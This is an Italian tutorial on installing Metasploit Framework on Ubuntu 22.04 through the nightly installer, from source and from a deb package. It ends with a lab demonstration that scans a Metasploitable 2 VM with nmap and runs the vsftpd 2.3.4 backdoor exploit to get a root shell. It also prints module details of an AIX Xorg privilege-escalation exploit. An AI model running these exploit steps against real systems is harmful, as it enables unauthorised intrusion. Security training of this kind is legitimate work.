Come installare Metasploit Framework su Ubuntu 22.04
In qualità di amministratore di rete, è importante eseguire la scansione delle vulnerabilità della sicurezza e risolverle il prima possibile. Metasploit è un framework open source che aiuta a identificare minacce e vulnerabilità. Trova e sfrutta le vulnerabilità nei sistemi informatici, nelle reti e nelle applicazioni. Consente ai professionisti della sicurezza di simulare attacchi nel mondo reale e testare il livello di sicurezza della tua organizzazione. Viene fornito con molti exploit e ti consente anche di crearne uno tuo.
In questo tutorial imparerai come installare il framework Metasploit ed eseguire test di base su un sistema Ubuntu 22.04.
Prerequisiti
Una macchina con Ubuntu 22.04 con un minimo di 4 GB di RAM.
Un utente non root con privilegi sudo.
Il semplice Firewall (UFW) è abilitato e funzionante.
Tutto è aggiornato.
$ sudo apt update && sudo apt upgrade
Pochi pacchetti di cui il tuo sistema ha bisogno.
$ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
Alcuni di questi pacchetti potrebbero essere già installati sul tuo sistema.
Passaggio 1: installare Nmap
Uno degli strumenti più comuni richiesti da Metasploit è Nmap che sfortunatamente non è incluso nel sorgente. Possiamo installarlo utilizzando il suo codice sorgente oppure possiamo installare il binario che è una versione abbastanza aggiornata disponibile. Utilizzeremo il repository dei pacchetti Ubuntu per installare il binario Nmap.
$ sudo apt install -y nmap
Ti mostreremo tre modi per installare Metasploit. Il primo modo è utilizzare lo script della shell del programma di installazione notturno. Il secondo modo è installarlo compilando il codice sorgente. Il terzo modo è prendere direttamente il pacchetto Deb e usarlo per installare Metasploit. Qualunque sia il modo in cui lo usi, dovrai prima installare Nmap perché non viene fornito con Metapsploit.
Passaggio 2: installare Metasploit utilizzando Nightly Installer
Installare Metasploit è abbastanza semplice utilizzando lo script di installazione notturna. Viene fornito con Ruby e PostgreSQL 9.2 e si integra con il gestore di pacchetti APT.
Crea una directory temporanea per scaricare lo script di installazione di Metasploit e passa ad essa.
$ mkdir msf-install && cd ./msf-install
Scarica lo script di installazione e rinomina il file in msfinstall
.
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
Imposta l'autorizzazione 755 sullo script.
$ chmod 755 msfinstall
Esegui lo script.
$ sudo ./msfinstall
Lo script importerà prima la chiave di firma dai server Metasploit, quindi copierà l'indirizzo del repository per Metasploit nella directory /etc/apt/sources.list.d/
e infine scaricherà e installerà il pacchetto Metasploit utilizzando APT e imposta la variabile PATH per esso.
Esegui lo script della console Metasploit per avviare.
$ cd ~
$ msfconsole
La prima volta che utilizzi lo script, verrà avviata la procedura guidata di installazione e ti verrà chiesto se desideri creare un nuovo database.
** Welcome to Metasploit Framework Initial Setup **
Please answer a few questions to get started.
Would you like to use and setup a new database (recommended)? y
Digita y
e quindi premi il tasto Invio per procedere. Questo creerà un database e memorizzerà i suoi dati nella directory ~/.msf4/db
.
Running the 'init' command for the database:
Creating database at /home/navjot/.msf4/db
Creating db socket file at /tmp
Starting database at /home/navjot/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf
Stopping database at /home/navjot/.msf4/db
Starting database at /home/navjot/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful
** Metasploit Framework Initial Setup Complete **
Verrai quindi indirizzato alla console Metasploit che dovrebbe assomigliare a quanto segue.
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
.;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'. ##########
.0MMMMMMMMMMMMMMMMWc #+# #+#
;0MMMMMMMMMMMMMMMo. +:+
.dNMMMMMMMMMMMMo +#++:++#+
'oOWMMMMMMMMo +:+
.,cdkO0K; :+: :+:
:::::::+:
Metasploit
=[ metasploit v6.4.1-dev- ]
+ -- --=[ 2405 exploits - 1239 auxiliary - 422 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
Controlla lo stato del database.
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
Ciò conferma che è correttamente connesso al database PostgreSQL e funziona correttamente.
Uscire dalla console.
msf6 > exit
Passaggio 3: installa Metasploit utilizzando il codice sorgente
Installa i prerequisiti
Installa i pacchetti richiesti da Metasploit.
$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev
Installa Git. Potrebbe essere già disponibile sul tuo server.
$ sudo apt install -y git
Installa PostgreSQL
Installa PostgreSQL. Ubuntu 22.04 viene fornito con PostgreSQL 14 per impostazione predefinita, che è ciò che utilizzeremo.
$ sudo apt install -y postgresql postgresql-contrib
Controlla lo stato del servizio PostgreSQL.
$ sudo systemctl status postgresql
Dovresti vedere il seguente output che conferma che PostgreSQL è in esecuzione.
? postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago
Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 5984 (code=exited, status=0/SUCCESS)
CPU: 1ms
Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.
Configura PostgreSQL
Passa all'utente PostgreSQL.
$ sudo -i -u postgres
Crea un ruolo PostgreSQL per Metasploit. Ti verrà richiesto di impostare una password.
$ createuser msfuser -S -R -P
Crea un database PostgreSQL per Metasploit e imposta il proprietario sull'utente che abbiamo creato.
$ createdb msfdb -O msfuser
Esci dall'account PostgreSQL.
$ exit
Apri il file /etc/postgresql/14/main/pg_hba.conf
per modificarlo.
$ sudo nano /etc/postgresql/14/main/pg_hba.conf
Aggiungi la seguente riga sotto la riga host all all 127.0.0.1/32 scram-sha-256
.
....
host all all 127.0.0.1/32 scram-sha-256
host "msfdb" "msfuser" 127.0.0.1/32 md5
Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.
Installa Ruby Version Manager (RVM)
Metasploit richiede Ruby per l'installazione. Utilizzeremo Ruby Version Manager (RVM) per installare Ruby e Gems.
Importa la chiave GPG RVM.
$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
Utilizza curl per scaricare lo script di installazione RVM.
$ \curl -sSL https://get.rvm.io -o rvm.sh
Installa la versione stabile di RVM.
$ cat rvm.sh | bash -s stable
Origina gli script RVM dalla directory in cui sono stati installati.
$ source ~/.rvm/scripts/rvm
Scarica Metasploit
Passa alla directory home.
$ cd ~
Scarica il codice sorgente di Metasploit da GitHub.
$ git clone https://github.com/rapid7/metasploit-framework.git
Passa alla directory Metasploit.
$ cd metasploit-framework
Vedrai le seguenti istruzioni quando passi alla directory.
Required ruby-3.0.5 is not installed.
To install do: 'rvm install "ruby-3.0.5"'
Questo menziona che la versione Ruby richiesta dal framework Metasploit è 3.0.5. Puoi anche confermarlo eseguendo il comando seguente.
$ cat .ruby-version
3.0.5
Installa Ruby
Questa è la parte in cui diventa complicato. Ubuntu 22.04 supporta OpenSSL 3 mentre Ruby 3.0.x funziona solo con OpenSSL 1.1. Ciò significa che non possiamo installarlo nel solito modo. La soluzione migliore è scaricare il codice sorgente per OpenSSL 1.1, compilarlo e utilizzarlo per installare Ruby. Ciò non influirà su nessun'altra applicazione sul tuo server.
Prendi OpenSSL 1.1. Puoi controllare l'ultima versione disponibile dalla pagina dei sorgenti di OpenSSL 1.1.
$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz
Estrai l'archivio scaricato.
$ tar zxf openssl-1.1.1w.tar.gz
Passa alla directory estratta.
$ cd openssl-1.1.1w
Configura la sorgente.
$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w
Esegui il comando make.
$ make
Esegui nuovamente il comando make per eseguire i test.
$ make tests
Installa OpenSSL 1.1.1w.
$ make install
Configura la directory dei certificati SSL in modo che punti alla directory /etc/ssl/certs
e rimuova quella originale.
$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs
Torna alla directory Metasploit.
$ cd ~/metasploit-framework
Installa Ruby.
$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w
Checking requirements for ubuntu.
Installing requirements for ubuntu.
Updating system
Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3.....
........................
Install of ruby-3.0.5 - #complete
Ruby was built without documentation, to build it run: rvm docs generate-ri
Installa Metasploit
Passa alla directory Metasploit.
$ cd ~/metasploit-framework
Installa il bundler Gem.
$ gem install bundler
Installa le gemme di rubino necessarie.
$ bundle install
Avvia la console Metasploit.
$ ./msfconsole
Dovresti vedere un output simile.
Metasploit tip: You can use help to view all available commands
__________________
< Shells are cool. >
------------------
\
\
\
\
\ ?????????
???????????
????????????
???????????????
??????????????????
?????????????????????
???????????????????????
???????????????????????
?????????????????????
???????????????????????? ??????
?????????????????????? ????????????
?????????????????? ??????????????
????????????????????????????????????
??????????????????? ????????
??????????????????? ?????? ?
?????????????????? ?? ????
???????????????? ???
?????? ????????? ?
??????? ????????
??????? ?????????
????????? ?????????
????????? ??????????
??????? ???????
=[ metasploit v6.4.2-dev-44ba1b5082 ]
+ -- --=[ 2408 exploits - 1240 auxiliary - 422 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
Testare la connessione al database.
msf6 > db_status
[*] postgresql selected, no connection
Connettiti al database che abbiamo creato in precedenza.
msf6 > db_connect msfuser:[email :5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb
Verificare lo stato del database.
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.
Uscire dalla console.
msf6 > exit
Configurare le impostazioni del database Metasploit
La connessione al database non persisterà durante l'utilizzo ripetuto della console Metasploit. Per renderlo permanente, dobbiamo salvarlo in un file nella directory ~/.msf4
.
Crea un file database.yml
nella directory ~/.msf4/
.
$ touch ~/.msf4/database.yml
Aprilo per la modifica.
$ nano ~/.msf4/database.yml
Incolla al suo interno il seguente codice.
production:
adapter: postgresql
database: msfdb
username: msfuser
password: [PASSWORD]
host: 127.0.0.1
port: 5432
pool: 75
timeout: 5
Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.
Avvia nuovamente la console.
$ ./msfconsole
Controlla lo stato della connessione al database.
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql.
Ciò conferma che Metasploit è connesso correttamente al database PostgreSQL.
Passaggio 4: installare Metasploit utilizzando il pacchetto binario
Visita la pagina del repository APT di Metasploit e prendi l'URL per l'ultimo pacchetto deb Metasploit dalla parte inferiore della pagina. Al momento della stesura di questo articolo, l'ultima versione disponibile era 6.4.1+20240326102606.
Scarica il pacchetto utilizzando il comando wget
.
$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb
Installa il pacchetto.
$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb
Continua l'installazione eseguendo il comando della console Metasploit.
$ msfconsole
Continua nello stesso modo del passaggio 1 per completare l'installazione di Metasploit.
Passaggio 5: testare Metasploit
Il banner principale che ottieni all'avvio della console Metasploit può essere fastidioso e può essere disattivato utilizzando l'opzione -q
.
$ msfconsole -q
In questo modo verrai portato direttamente alla console.
msf6 >
Per elencare tutti i comandi disponibili, esegui help
sulla console.
msf6 > help
Otterrai il seguente output.
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
debug Display information useful for debugging
exit Exit the console
features Display the list of not yet released features that can be opted in to
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
load Load a framework plugin
quit Exit the console
repeat Repeat a list of commands
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
tips Show a list of useful productivity tips
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
.........................................................................
Per elencare tutti gli exploit disponibili, esegui il comando seguente.
msf6 > show exploits
Dovresti ottenere un output simile.
Metasploit fornisce anche documentazione specifica dello strumento tramite il seguente comando. Puoi usarlo per saperne di più su come funziona un particolare exploit. Esamineremo come funziona l'exploit xorg_x11_server
.
msf6 > info xorg_x11_server
Otterrai il seguente output.
msf6 > info exploit/aix/local/xorg_x11_server
Name: Xorg X11 Server Local Privilege Escalation
Module: exploit/aix/local/xorg_x11_server
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2018-10-25
Provided by:
Narendra Shinde
Zack Flack <[email >
Module side effects:
config-changes
Available targets:
Id Name
-- ----
0 IBM AIX Version 6.1
=> 1 IBM AIX Version 7.1
2 IBM AIX Version 7.2
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
WritableDir /tmp yes A directory where we can write files
Payload information:
Description:
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
overwriting /etc/passwd.
...................................
Usiamo Metasploit per controllare le porte aperte su una macchina infetta. Per il nostro tutorial utilizzeremo la macchina virtuale Metasploitable. È una macchina di prova che puoi utilizzare per scopi di apprendimento. Stiamo utilizzando Metasploitable 2 che viene fornito con un disco rigido VirtualBox scaricabile che puoi utilizzare per configurare una macchina virtuale che è ciò che stiamo utilizzando per eseguire i nostri test. Puoi anche Metasploitable 3 che è una macchina VirtualBox basata su Vagrant che richiederà un diverso tipo di installazione.
Utilizza lo strumento Nmap per scansionare le porte aperte.
msf6 > nmap -sV 192.168.31.36
Dovresti vedere un output simile a seconda della macchina che stai ispezionando.
msf6 > nmap -sV 192.168.31.36
[*] exec: nmap -sV 192.168.31.36
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds
Ora che abbiamo un elenco di porte aperte da sfruttare, utilizziamone una. Utilizzeremo il servizio vsftpd
per sfruttare. Prima di farlo, cerchiamolo nella nostra lista degli exploit per saperne di più.
msf6 > search vsftpd
Riceverai il seguente output.
msf6 > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
Successivamente, possiamo semplicemente copiare il nome dell'exploit e utilizzarlo utilizzando il seguente comando. Questo comando ci consente di entrare nell'exploit.
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
Otterrai il seguente output.
[*] No payload configured, defaulting to cmd/unix/interact
Il prompt della console cambierà come segue.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Successivamente, utilizza il comando show options
per verificare i requisiti dell'exploit.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Otterrai il seguente output.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
Qui puoi vedere le impostazioni attuali per alcune variabili. RHOSTS
nell'output specifica l'IP degli host remoti e RPORT
si riferisce a una porta host remoto. Imposta l'IP dell'host remoto affinché questo exploit funzioni. Questo gli dirà quale macchina prendere di mira.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36
Ora che l'IP dell'host remoto è configurato, possiamo procedere con l'hacking. Esegui il comando exploit
e attendi che l'hacking vada avanti.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Dovresti vedere il seguente output.
[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.36:21 - USER: 331 Please specify the password.
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530
Dovresti essere in grado di digitare qualsiasi comando e funzionerà sul sistema di destinazione confermando l'hacking. Per confermare, usa il comando ifconfig
per ottenere i dettagli di rete.
ifconfig
Otterrai il seguente output che mostra che l'output proviene dal computer di destinazione, il che significa che il nostro exploit ha funzionato.
eth0 Link encap:Ethernet HWaddr 08:00:27:88:8d:ae
inet addr:192.168.31.36 Bcast:192.168.31.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1671 errors:0 dropped:0 overruns:0 frame:0
TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:145408 (142.0 KB) TX bytes:142342 (139.0 KB)
Base address:0xd020 Memory:f0200000-f0220000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:274 errors:0 dropped:0 overruns:0 frame:0
TX packets:274 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:109881 (107.3 KB) TX bytes:109881 (107.3 KB)
Questa è solo una delle cose che Metasploit può fare. Puoi fare molto di più usandolo per trovare vulnerabilità e scoprire quali delle tue macchine sono aperte e vulnerabili agli attacchi e correggerle.
Passaggio 6: aggiornare Metasploit
Metasploit viene fornito con il suo script di aggiornamento. Se hai installato utilizzando i passaggi 2 e 4, esegui semplicemente il comando seguente per aggiornare Metasploit.
$ sudo msfupdate
Inoltre, gli stessi due metodi configurano il repository APT in modo che non sia necessario eseguire lo script. Ogni volta che esegui sudo apt update && sudo apt upgrade
, Metasploit verrà aggiornato.
Se hai installato Metasploit dal codice sorgente, dovrai aggiornarlo manualmente. Passa alla directory del framework Metasploit.
$ cd ~/metasploit-framework
Innanzitutto, imposta alcune variabili per Git. Questo è solo un processo una tantum.
$ git config --global user.name "YourName"
$ git config --global user.email "[email "
Ora puoi eseguire gli aggiornamenti utilizzando il seguente comando.
$ ./msfupdate
Per evitare di eseguire questo comando ancora e ancora, puoi impostare un processo cron per aggiornarlo automaticamente. Esegui il comando seguente per avviare l'editor Crontab.
$ crontab -e
Ti verrà chiesto quale editor utilizzare.
no crontab for navjot - using an empty one
Select an editor. To change later, run 'select-editor'.
1. /bin/nano <---- easiest
2. /usr/bin/vim.basic
3. /usr/bin/vim.tiny
4. /bin/ed
Choose 1-4 [1]: 1
Scegli 1 se desideri utilizzare l'editor nano. Questo è ciò che useremo.
Successivamente, incolla il seguente codice per abilitare gli aggiornamenti automatici per Metasploit.
0 1 * * * /home/<username>/metasploit-framework/msfupdate > /dev/null 2>&1
Questo eseguirà lo script di aggiornamento ogni giorno all'1 di notte. Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.
Questo è tutto. Ciò manterrà il tuo Metasploit aggiornato senza alcun intervento.
Passaggio 7: disinstallare Metasploit
Se hai installato Metasploit utilizzando i passaggi 2 o 4, per rimuovere Metasploit è sufficiente eseguire il comando seguente.
$ sudo apt autoremove --purge metasploit-framework
Tuttavia, se lo hai installato utilizzando il codice sorgente, per rimuovere Metasploit dovrai eseguire una serie di comandi.
$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gem
Apri il file .bashrc
per modificarlo.
$ nano ~/.bashrc
Rimuovere la riga seguente dalla fine del file.
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"
Ultimo ma non meno importante, rimuovi PostgreSQL se non ti serve.
Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.
Apri .bash_profile
per la modifica.
$ nano ~/,bash_profile
Rimuovere le seguenti righe dalla fine del file.
[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.
Apri il file .profile
per la modifica.
$ nano ~/.profile
Rimuovere il codice seguente dalla parte inferiore del file.
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.
Origina i file per ricaricare le modifiche.
$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profile
Rimuovi le directory Metasploit.
$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4
Disinstalla PostgreSQL se non ti serve più.
$ sudo apt autoremove --purge postgresql postgresql-contrib
Disinstallare OpenSSL 1.1.1. I seguenti comandi disinstalleranno il pacchetto, puliranno la directory e rimuoveranno l'archivio scaricato.
$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gz
Conclusione
Si conclude così il nostro tutorial sull'installazione del framework Metasploit su un sistema Ubuntu 22.04 e su come eseguire alcune operazioni di base. Se avete domande, pubblicatele nei commenti qui sotto.